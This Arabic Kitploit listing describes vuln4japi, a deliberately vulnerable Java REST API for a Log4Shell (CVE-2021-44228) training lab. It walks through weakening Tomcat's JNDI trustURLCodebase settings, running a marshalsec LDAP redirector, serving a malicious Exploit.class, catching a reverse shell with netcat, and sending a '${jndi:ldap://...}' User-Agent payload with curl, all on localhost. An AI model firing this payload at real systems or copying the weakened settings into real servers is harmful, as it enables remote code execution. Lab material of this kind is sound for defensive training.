Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
vuln4japi — # واجهة برمجية REST API ضعيفة مبنية على Java لعرض ثغرة CVE-2021-44228 (log4shell). | Kitploit
أدوات/GitHubGitHub/nix-xin/vuln4japi
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubnix-xin/vuln4japi

vuln4japi

# واجهة برمجية REST API ضعيفة مبنية على Java لعرض ثغرة CVE-2021-44228 (log4shell).

عرض المستودع
11منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

vuln4japi

واجهة برمجة تطبيقات REST ضعيفة مبنية على Java لعرض ثغرة CVE-2021-44228 (log4shell).

الدافع

اجتاحت ثغرة Log4Shell الإنترنت في أوائل ديسمبر 2021. ثغرة Zero Day في مكتبة تسجيل Apache Log4j، قادرة على تنفيذ الأكواد عن بُعد (RCE) مما جعل المؤسسات حول العالم تتسابق لإصلاح/ترقيع/تخفيف تطبيقات Java العامة لديها. بينما اجتمع مجتمع أمن المعلومات لتقديم تحليل مستمر وحلول لفرق الأمن، كان مجتمع Log4j مشغولاً بتطوير تصحيحات لضمان إنهاء هذه الثغرة.

لقد قمت بتطوير واجهة برمجة تطبيقات REST ضعيفة وبسيطة تعرض المسار إلى تنفيذ الأكواد عن بُعد (RCE) من خلال استغلال هذه الثغرة باستخدام خادم تطبيقات Apache Tomcat. آمل أن يُستخدم هذا المفهوم الإثباتي لتدريب فرق SecOps لديك أو لتثقيف مطوري التطبيقات الحاليين والمستقبليين. درّب فرقك وحسّن دفاعاتك، بما في ذلك على سبيل المثال لا الحصر، قواعد/تنبيهات SIEM، وأنظمة EDR، وأنظمة SOAR.

لفهم سير عمل هذا الهجوم، ألقِ نظرة على هذا الرسم البياني المقدم من فريق الاستجابة لطوارئ الحاسوب الحكومي السويسري GovCERT.ch: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png

إخلاء مسؤولية

هذا البرنامج التعليمي والكود المصدري مقدمان لأغراض تعليمية وتدريبية فقط. يرجى استخدامهما بأخلاقية ومسؤولية. تم إعداد هذا البرنامج التعليمي على افتراض أن المهاجم والتطبيق الضعيف على نفس الحاسوب. لتجربة أكثر واقعية، وزّع البنية التحتية وشغّل التطبيق الضعيف على خادم خاص به واستخدم شيئاً مثل Kali Linux أو توزيعة أخرى لمحاكاة المهاجم.

لنبدأ.

ما ستحتاجه

  • بيئة اختبار (VM أو جهاز فعلي، ويفضل أن يكون Linux للبناء والاختبار. استخدمت VM تعمل بنظام Ubuntu Server)
  • Java JDK (استخدمت OpenJDK 1.8.0_312)
  • Maven (أداة بناء وإدارة مشاريع Java؛ استخدمت الإصدار 3.6.3)
  • Marshalsec (أداة Java Unmarshaller لإعادة توجيه JNDI: https://github.com/mbechler/marshalsec)
  • Apache Tomcat 8 (استخدمت الإصدار 8.0.32: https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.32/bin/)
  • Python3 مثبت (يمكننا استخدام وحدة http.server لتشغيل خادم ويب محلي بسيط لاستضافة ملف .class الخاص بنا)
  • ملف Java class خبيث (الكود المصدري موجود في دليل xploitz)
  • أخيراً، استنسخ هذا المستودع!
  • سير العملية - تطبيق الويب الضعيف

    بمجرد تثبيت Java JDK و Maven، وبافتراض أنك على توزيعة Linux، انتقل إلى مجلد vuln4japi الخاص بك وقم ببناء مشروعك.

    ملاحظة: قد ترغب في تعديل بعض مكونات التطبيق قبل بنائه. على سبيل المثال، يمكنك تعديل المسار إلى سجلات log4j في ملف log4j2.xml. أو قد ترغب في تغيير اسم ملف war الناتج في ملف pom.xml. الأمر متروك لك تماماً.

    root@kitploit:~
    cd /path/to/vuln4japi
    mvn clean package -DskipTests
    

    إذا لم ترَ أي أخطاء في البناء، يجب أن يكون لديك مجلد target تم إنشاؤه حديثاً مع ملف vuln4japi.war الخاص بك. حسناً، سنعود إلى هذا الملف بعد قليل. دعنا نلقي نظرة سريعة على Tomcat.

    اعتماداً على إصدار Java 8 لديك، قد تكون الإصدارات الأحدث من 8 قد ضبطت هذا الإعداد المحدد (com.sun.jndi.ldap.object.trustURLCodebase) على false. هذا يمنع فعلياً JNDI من تحميل قاعدة أكواد عن بُعد عبر LDAP. وهذا هو ما تستغله هذه الثغرة. لذا، نحتاج إلى تعديل ملف catalina.properties الخاص بـ Tomcat لضبط هذا الإعداد على True، مما يجعل Tomcat ضعيفاً عمداً.

    بمجرد تنزيل apache-tomcat-8.0.32.tar.gz لنظام Linux، قم بفك ضغطه في مكان مثل مجلد /opt.

    root@kitploit:~
    tar -xvf apache-tomcat-8.0.32.tar.gz -C /opt
    

    انتقل إلى مجلد /conf وقم بتعديل catalina.properties في أسفل الملف.

    ملاحظة: استخدم محرر النصوص المفضل لديك. أستخدم vim في هذا المثال.

    root@kitploit:~
    cd /opt/apache-tomcat-8.0.32/conf
    
    vim catalina.properties
    
    # أضف خصائص النظام التالية في النهاية تماماً
    com.sun.jndi.ldap.object.trustURLCodebase=true
    com.sun.jndi.rmi.object.trustURLCodebase=true
    com.sun.jndi.cosnaming.object.trustURLCodebase=true
    

    اخرج من محرر النصوص وابدأ تشغيل Tomcat باستخدام سكربت catalina.sh داخل مجلد /bin.

    root@kitploit:~
    cd /opt/apache-tomcat-8.0.32/bin
    ./catalina.sh start
    

    اختبر نسختك من Apache Tomcat بالانتقال إلى http://localhost:8080/ أو باستخدام أمر cURL بسيط من واجهة سطر الأوامر.

    root@kitploit:~
    curl -vv http://localhost:8080/
    

    إذا رأيت صفحة ترحيب في متصفحك أو طرفيتك، فهذا يعني أنه يعمل. الآن يمكننا نشر تطبيقنا الضعيف.

    انسخ ملف .war الخاص بك إلى مجلد /webapps الخاص بـ Tomcat. سيقوم Tomcat بنشر تطبيقك تلقائياً في غضون ثوانٍ.

    root@kitploit:~
    cp /vuln4jpi/target/vuln4japi.war /opt/apache-tomcat-8.0.32/webapps
    

    اختبر تطبيقك الضعيف بالانتقال إلى رابط التطبيق أو مرة أخرى باستخدام cURL من سطر الأوامر. على المتصفح: http://localhost:8080/vuln4japi/api

    root@kitploit:~
    curl -vv http://localhost:8080/vuln4japi/api
    

    يجب أن ترى الرسالة التالية معروضة، Hi, this is a Vulnerable App!!

    الآن بعد أن أصبح لدينا بعض المكونات تعمل، دعنا نستغل هذا الشيء...

    سير العملية - أدوات المهاجم

    Marshalsec

    مشروع marshalsec هو مورد ممتاز لفهم هذا النوع من الهجمات بالتفصيل. بشكل أساسي، يعمل كخادم LDAP خبيث يقوم بعد ذلك بإعادة توجيه أي طلب إلى خادم ويب خبيث يستضيف ملف .class. أوصي بشدة بمراجعة بعض الوثائق المنشورة على مستودع mbechler على Github قبل استخدام marshalsec: https://github.com/mbechler/marshalsec

    إذا قررت تخطي التفاصيل التقنية والوثائق، استنسخ ذلك المستودع وانتقل إليه. الآن، قبل بناء مشروع Java هذا، أوصي بإضافة سطر تصحيح أخطاء واحد في ملف LDAPRefServer.java. ستكون عبارة الطباعة هذه مفيدة عند التقاط استعلام LDAP من الخادم الضعيف.

    باستخدام محرر النصوص المفضل لديك، قم بتحرير الملف التالي وأضف السطر كما هو موضح في كتلة الكود أدناه، في طريقة processSearchResult().

    root@kitploit:~
    vim marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java
    
    root@kitploit:~
    @Override
            public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                    // أضف هذا السطر لعرض معلومات الطلب الكاملة
                    System.out.println("Request: " + result.getRequest());
                }
                catch ( Exception e1 ) {
                    e1.printStackTrace();
                }
    
            }
    

    بمجرد تعديل الملف، احفظ واخرج من محرر النصوص. الآن يجب أن تكون قادراً على بناء مشروع marshalsec باستخدام Maven. ارجع إلى المجلد الجذر لمجلد marshalsec ونفذ maven.

    root@kitploit:~
    mvn clean package -DskipTests
    

    إذا لم تكن هناك أخطاء في البناء، يجب أن ترى مجلد /marshalsec/target الذي تم إنشاؤه حديثاً مع ملف marshalsec-0.0.3-SNAPSHOT-all.jar المضمن.

    دعنا نجهز بقية أدوات المهاجم قبل تنفيذ خادم LDAP الخبيث marshalsec الخاص بنا.

    ملف .class الخبيث

    انتقل إلى مجلد exploitz وقم بتجميع ملف Exploit.java المضمن.

    root@kitploit:~
    javac Exploit.java
    

    إذا لم تحصل على أي أخطاء، يجب أن يكون لديك ملف Exploit.class.

    هذا كل شيء. يجب أن يكون لديك كل ما تحتاجه مُجمّعاً وخادم الويب يعمل. مرة أخرى، بافتراض أنك تشغل هذا الاختبار على خادم Linux، ستحتاج إلى فتح 5 نوافذ طرفية على الأقل.

    الطرفية 1: تشغيل marshalsec

    root@kitploit:~
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8081/#Exploit" 1389
    

    الطرفية 2: انتقل إلى مجلد xploitz حيث يوجد ملف Exploit.class الخاص بك وقم بتشغيل خادم Python محلي.

    root@kitploit:~
    python3 -m http.server 8081
    

    الطرفية 3: تابع ملف /tmp/logs/vuln4jpi_log4j.log الخاص بك لمتابعة الطلبات الموجهة إلى تطبيقك الضعيف.

    root@kitploit:~
    tail -f /tmp/logs/vuln4japi_log4j.log
    

    الطرفية 4: افتح مستمع netcat على المنفذ 8001. سيكون هذا اتصال الصدفة العكسية من نفس المضيف بالطبع. تذكر، نحن نفعل كل هذا على نفس المضيف. لتجربة واقعية، جرب استخدام حاسوبين أو ثلاثة مختلفة.

    root@kitploit:~
    nc -lv 8001
    

    الطرفية 5: أرسل حمولتك باستخدام أمر cURL بسيط.

    root@kitploit:~
    curl -vv http://localhost:8080/vuln4japi/api -H 'User-Agent: ${jndi:ldap://localhost:1389/a}'
    

    إذا عمل كل شيء كما هو متوقع، يجب أن تحصل على صدفة مُمررة إلى مستمع netcat الخاص بك على المنفذ 8001. راجع جميع نوافذ الطرفية لديك ولاحظ السلوك في كل واحدة منها بحثاً عن أي أخطاء إملائية أو أخطاء في الصياغة. هناك الكثير مما يحدث هنا لذا الخطأ البشري وارد دائماً. جرب عدة مرات حتى تتقن الأمر. قد تضطر إلى تعديل الكود المصدري قليلاً، لكن مهلاً، هكذا نتعلم. ;-)

    آمل أن تستمتع بالتعلم من هذا المشروع بقدر ما استمتعت أنا بتجميعه. تجدني على تويتر @offswitchsec إذا كان لديك أي ملاحظات أو تعليقات. استمتع وهابي هاكينغ!

    تنزيل الأداة